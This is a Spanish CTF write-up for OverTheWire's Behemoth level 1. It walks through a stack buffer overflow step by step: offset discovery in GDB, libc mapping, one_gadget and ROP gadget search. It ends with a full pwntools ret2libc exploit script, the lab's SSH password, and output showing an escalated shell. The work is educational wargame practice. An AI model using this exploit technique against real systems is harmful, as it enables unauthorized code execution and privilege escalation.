Behemoth1
Recordamos deshabilitar ASLR con:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
s
Encontrando el offset
Estos pasos se ejecutan en local
- Nos descargamos el binario a nuestra máquina.
- Generamos un patrón para pasarselo al binario como parámetro.
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZABABACACADADAEAEAFAFAGAGAHAHAIAIAJAJAKAKALALAMAMANANAOAOAPAPAQAQARARASASATATAUAUAVAVAWAWAXAXAYAY
- Abrimos GDB con:
gdb ./behemoth1
. - Comenzamos con
r
. - Enviamos el patrón creado al binario como password.
- Nos fijamos en la última línea para ver la dirección de ruptura.
Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x53535352 in ?? ()
- Ahora sabemos que el offset está en
0x53535352
que equivale aSSSR
. - Pasa saber el número sin tener que estar contando podemos ejecutar lo siguiente:
python -c "print(len('AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRR'))" 71
- Ya tenemos el offset que en este caso es 71.
Explorando Libc
Encontrando la ruta y la dirección
Estos pasos se ejecutan en la máquina remota
- Abrimos GDB con:
gdb ./behemoth1
. - Ejecutamos el binario con
r
- Cuando nos pida el input pulsamos Ctrl+C
-
Ahora para mostrar la ruta y la dirección de libc ejecutamos
info proc mappings
(gdb) info proc mappings process 503 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /behemoth/behemoth1 0x8049000 0x804a000 0x1000 0x0 /behemoth/behemoth1 0x804a000 0x806b000 0x21000 0x0 [heap] 0xf7e10000 0xf7e12000 0x2000 0x0 0xf7e12000 0xf7fc3000 0x1b1000 0x0 /lib32/libc-2.24.so 0xf7fc3000 0xf7fc5000 0x2000 0x1b0000 /lib32/libc-2.24.so 0xf7fc5000 0xf7fc6000 0x1000 0x1b2000 /lib32/libc-2.24.so 0xf7fc6000 0xf7fc9000 0x3000 0x0 0xf7fd2000 0xf7fd4000 0x2000 0x0 0xf7fd4000 0xf7fd7000 0x3000 0x0 [vvar] 0xf7fd7000 0xf7fd9000 0x2000 0x0 [vdso] 0xf7fd9000 0xf7ffc000 0x23000 0x0 /lib32/ld-2.24.so 0xf7ffc000 0xf7ffd000 0x1000 0x22000 /lib32/ld-2.24.so 0xf7ffd000 0xf7ffe000 0x1000 0x23000 /lib32/ld-2.24.so 0xfffdd000 0xffffe000 0x21000 0x0 [stack]
- Como vemos, la ruta es
/lib32/libc-2.24.so
y la dirección de comienzo es0xf7e10000
- Nos descargamos el archivo a nuestra máquina para continuar localmente.
-
Para listar un gadget válido y que podamos utilizar de manera sencilla, ejecutamos
one_gadget libc-2.24.so
y obtendremos lo siguiente:0x3a71c execve("/bin/sh", esp+0x28, environ) constraints: esi is the GOT address of libc [esp+0x28] == NULL 0x3a71e execve("/bin/sh", esp+0x2c, environ) constraints: esi is the GOT address of libc [esp+0x2c] == NULL 0x3a722 execve("/bin/sh", esp+0x30, environ) constraints: esi is the GOT address of libc [esp+0x30] == NULL 0x3a729 execve("/bin/sh", esp+0x34, environ) constraints: esi is the GOT address of libc [esp+0x34] == NULL 0x5f7c5 execl("/bin/sh", eax) constraints: esi is the GOT address of libc eax == NULL 0x5f7c6 execl("/bin/sh", [esp]) constraints: esi is the GOT address of libc [esp] == NULL
- En este caso, el primero que nos ofrece es una buena opción ya que solo tiene como condiciones que "esi" apunte a la dirección GOT esi de libc y que "esp+0x28" sea nulo. Por lo tanto, nos apuntamos la dirección
0x3a71c
correspondiente al gadget.
Encontrando esi
Obteniendo la dirección GOT de esi
- En local vamos a utilizar la herramienta llamada "ropper".
- Ejecutamos:
ropper -f libc-2.24.so --search "pop esi"
. - Ahora, de entre todos los resultados buscamos el más sencillo que encontremos, en este caso, casi al final de todo nos encontramos con el que vamos a usar así que, nos apuntamos su dirección.
0x00017b46: pop esi; ret;
Obteniendo la dirección del valor para esi
- Desde la máquina remota, ejecutamos pwngdb:
gdb ./behemoth1 -x /usr/local/pwndbg/gdbinit.py
- Ejecutamos con
r
- Cuando nos pida la contraseña pulsamos Ctrl+c
- Ahora en al sección "Registers" observamos la dirección de "esi" que este caso es
0xf7fc55a0
. - Ejecutamos
info proc mappings
y buscamos la dirección más cercana a la encontrada anteriormente. Podríamos decir que es0xf7fc5000
Escribiendo el exploit
Includes
- Incluímos la librería pwn de pwntools que nos permitirá trabajar con las direcciones de memoria.
from pwn import *
Conexión SSH
- Almacenamos la conexión SSH en la variable "s".
- Almacenamos el proceso del binario en la variable "p".
s = ssh(host='behemoth.labs.overthewire.org', port=2221, user='behemoth1', password='aesebootiv') p = s.process('/behemoth/behemoth1')
Configuración de entorno
- Indicamos que la plataforma es "amd64" la cual es compatible con x86 y x64.
context.update(arch='amd64')
Direcciones de memoria
- Creamos las variables necesiras con las direcciones de memoria que hemos conseguido anteriormente.
libc = 0xf7e12000 sh = 0x3a71c pop_esi = 0x00017b46 got_esi = 0xf7fc5000
Offset y condiciones del gadget
- Creamos el fragmento de payload para llenar el offset hasta el punto de ruptura.
- Creamos el fragmento de payload lleno de nulos para cumplir la condición del gadget
[esp+0x28] == NULL
.offset = '\x90' * len('AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRR') nulls = '\x00' * 500
Montaje del payload
- Montamos el payload con los datos anteriores en el orden correcto.
payload = offset + p32(libc + pop_esi) + p32(got_esi) + p32(libc + sh) + nulls
Envio del payload
- Enviamos el payload al proceso
p.sendline(payload)
Recepción de shell interactiva
- Convertimos el proceso en interactivo para utilizar nuestra shell.
p.interactive()
Ejecución
# python behemoth1.py
/usr/local/lib/python2.7/dist-packages/cryptography-3.0-py2.7-linux-x86_64.egg/cryptography/__init__.py:39: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in a future release.
CryptographyDeprecationWarning,
[+] Connecting to behemoth.labs.overthewire.org on port 2221: Done
[*] behemoth1@behemoth.labs.overthewire.org:
Distro Devuan 2.0
OS: linux
Arch: amd64
Version: 4.18.12
ASLR: Disabled
[+] Starting remote process u'/behemoth//behemoth1' on behemoth.labs.overthewire.org: pid 2483
[*] Switching to interactive mode
Password: Authentication failure.
Sorry.
$ $ id
uid=13001(behemoth1) gid=13001(behemoth1) euid=13002(behemoth2) groups=13001(behemoth1)
$ $
Alternativa para 'Encontrando esi'
- Para no tener que buscar la dirección de 'esi' podemos usar ELF.
e = ELF('./libc-2.24.so') pop_esi = e.search(asm('pop esi; ret;', bits=32)).next()